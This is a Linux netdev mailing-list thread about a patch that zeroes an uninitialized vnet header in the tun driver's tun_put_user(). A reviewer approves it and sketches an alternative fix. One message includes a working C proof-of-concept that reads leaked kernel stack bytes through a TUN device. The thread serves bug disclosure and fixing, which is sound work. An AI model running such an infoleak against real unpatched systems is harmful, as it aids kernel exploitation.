* Re: [PATCH net] tun: zero the whole vnet header in tun_put_user()
2026-06-07 5:44 [PATCH net] tun: zero the whole vnet header in tun_put_user() Xiang Mei
@ 2026-06-07 5:47 ` Xiang Mei
2026-06-07 21:12 ` Willem de Bruijn
1 sibling, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-06-07 5:47 UTC (permalink / raw)
To: netdev
Cc: Willem de Bruijn, Jason Wang, Paolo Abeni, Andrew Lunn,
Eric Dumazet, Jakub Kicinski, bestswngs
On Sat, Jun 06, 2026 at 10:44:28PM -0700, Xiang Mei wrote:
> tun_put_user() declares an on-stack struct virtio_net_hdr_v1_hash_tunnel
> without zeroing it. For a non-tunnel skb, virtio_net_hdr_tnl_from_skb()
> only initializes the first 10 bytes (sizeof(struct virtio_net_hdr)),
> leaving bytes 10..23 (num_buffers and the hash/tunnel fields) as stack
> garbage.
>
> An unprivileged user can set the vnet header size to 24 with
> TUNSETVNETHDRSZ, so __tun_vnet_hdr_put() copies all 24 bytes of the
> partially-initialized struct to userspace, leaking 14 bytes of kernel
> stack on every read of a non-tunnel packet.
>
> Fix it the same way tun_get_user() already does by zeroing the whole
> header right after declaration.
>
> Fixes: 288f30435132 ("tun: enable gso over UDP tunnel support.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> drivers/net/tun.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/drivers/net/tun.c b/drivers/net/tun.c
> index 9e7744eb57a3..fed9dfdfcc3b 100644
> --- a/drivers/net/tun.c
> +++ b/drivers/net/tun.c
> @@ -2070,6 +2070,7 @@ static ssize_t tun_put_user(struct tun_struct *tun,
> struct virtio_net_hdr_v1_hash_tunnel hdr;
> struct virtio_net_hdr *gso;
>
> + memset(&hdr, 0, sizeof(hdr));
> ret = tun_vnet_hdr_tnl_from_skb(tun->flags, tun->dev, skb,
> &hdr);
> if (ret)
> --
> 2.43.0
>
Thanks for your attention to this bug. Here are some information to
reproduce it.
Configs:
```
CONFIG_TUN=y
CONFIG_INIT_STACK_ALL_ZERO=n
```
PoC:
```c
// PoC: kernel stack info leak in tun_put_user via uninitialized
// virtio_net_hdr_v1_hash_tunnel fields. drivers/net/tun.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/if.h>
#include <linux/if_tun.h>
#include <sys/ioctl.h>
#include <arpa/inet.h>
#define TUN_F_UDP_TUNNEL_GSO 0x080
int main(void)
{
int fd = open("/dev/net/tun", O_RDWR);
struct ifreq ifr = { .ifr_flags = IFF_TUN | IFF_NO_PI | IFF_VNET_HDR };
strcpy(ifr.ifr_name, "tun0");
ioctl(fd, TUNSETIFF, &ifr);
int sz = 24;
ioctl(fd, TUNSETVNETHDRSZ, &sz);
ioctl(fd, TUNSETOFFLOAD, TUN_F_CSUM | TUN_F_TSO4 | TUN_F_TSO6 | TUN_F_UDP_TUNNEL_GSO);
// bring tun0 up with 10.99.0.1/24 so a UDP packet routes into it
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in *a = (void *)&ifr.ifr_addr;
a->sin_family = AF_INET;
a->sin_addr.s_addr = inet_addr("10.99.0.1");
ioctl(s, SIOCSIFADDR, &ifr);
a->sin_addr.s_addr = inet_addr("255.255.255.0");
ioctl(s, SIOCSIFNETMASK, &ifr);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
// send a UDP packet that gets routed out through tun0
struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(1234),
.sin_addr.s_addr = inet_addr("10.99.0.2") };
char pkt[128];
memset(pkt, 0x41, sizeof(pkt));
sendto(s, pkt, sizeof(pkt), 0, (void *)&dst, sizeof(dst));
// read it back; bytes 10..23 of the vnet hdr should be zero but leak stack
unsigned char buf[4096];
for (int i = 0; i < 200; i++) {
sendto(s, pkt, sizeof(pkt), 0, (void *)&dst, sizeof(dst));
ssize_t n = read(fd, buf, sizeof(buf));
if (n < sz) continue;
int leak = 0;
for (int j = 10; j < 24; j++) leak |= buf[j];
if (!leak) continue;
printf("[+] leak: ");
for (int j = 10; j < 24; j++) printf("%02x ", buf[j]);
printf("\n");
return 0;
}
printf("[-] no leak observed\n");
return 1;
}
```
Let me know if you have any questions about this bug.
Xiang
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH net] tun: zero the whole vnet header in tun_put_user()
2026-06-07 5:44 [PATCH net] tun: zero the whole vnet header in tun_put_user() Xiang Mei
2026-06-07 5:47 ` Xiang Mei
@ 2026-06-07 21:12 ` Willem de Bruijn
2026-06-08 1:00 ` Xiang Mei
1 sibling, 1 reply; 4+ messages in thread
From: Willem de Bruijn @ 2026-06-07 21:12 UTC (permalink / raw)
To: Xiang Mei, netdev
Cc: Willem de Bruijn, Jason Wang, Paolo Abeni, Andrew Lunn,
Eric Dumazet, Jakub Kicinski, bestswngs, Xiang Mei
Xiang Mei wrote:
> tun_put_user() declares an on-stack struct virtio_net_hdr_v1_hash_tunnel
> without zeroing it. For a non-tunnel skb, virtio_net_hdr_tnl_from_skb()
> only initializes the first 10 bytes (sizeof(struct virtio_net_hdr)),
> leaving bytes 10..23 (num_buffers and the hash/tunnel fields) as stack
> garbage.
>
> An unprivileged user can set the vnet header size to 24 with
> TUNSETVNETHDRSZ, so __tun_vnet_hdr_put() copies all 24 bytes of the
> partially-initialized struct to userspace, leaking 14 bytes of kernel
> stack on every read of a non-tunnel packet.
>
> Fix it the same way tun_get_user() already does by zeroing the whole
> header right after declaration.
>
> Fixes: 288f30435132 ("tun: enable gso over UDP tunnel support.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
Reviewed-by: Willem de Bruijn <willemb@google.com>
> ---
> drivers/net/tun.c | 1 +
> 1 file changed, 1 insertion(+)
>
> diff --git a/drivers/net/tun.c b/drivers/net/tun.c
> index 9e7744eb57a3..fed9dfdfcc3b 100644
> --- a/drivers/net/tun.c
> +++ b/drivers/net/tun.c
> @@ -2070,6 +2070,7 @@ static ssize_t tun_put_user(struct tun_struct *tun,
> struct virtio_net_hdr_v1_hash_tunnel hdr;
> struct virtio_net_hdr *gso;
>
> + memset(&hdr, 0, sizeof(hdr));
Alternatively clear the trailing bytes only when uninitialized in
virtio_net_hdr_tnl_from_skb. Sketch:
"
+++ b/include/linux/virtio_net.h
@@ -437,6 +437,7 @@ virtio_net_hdr_tnl_from_skb(const struct sk_buff *skb,
if (feature_hdrlen && hdr->hdr_len)
__virtio_net_set_hdrlen(skb, hdr, little_endian);
+ memset(hdr + 1, 0, sizeof(*vhdr) - sizeof(*hdr));
return ret;
}
"
But it's not trivial to very that all fields beyond the basic header
do get initialized in the tunnel case. So clearing entirely certainly
is a more straightforward correctness analysis.
> ret = tun_vnet_hdr_tnl_from_skb(tun->flags, tun->dev, skb,
> &hdr);
> if (ret)
> --
> 2.43.0
>
^ permalink raw reply [flat|nested] 4+ messages in thread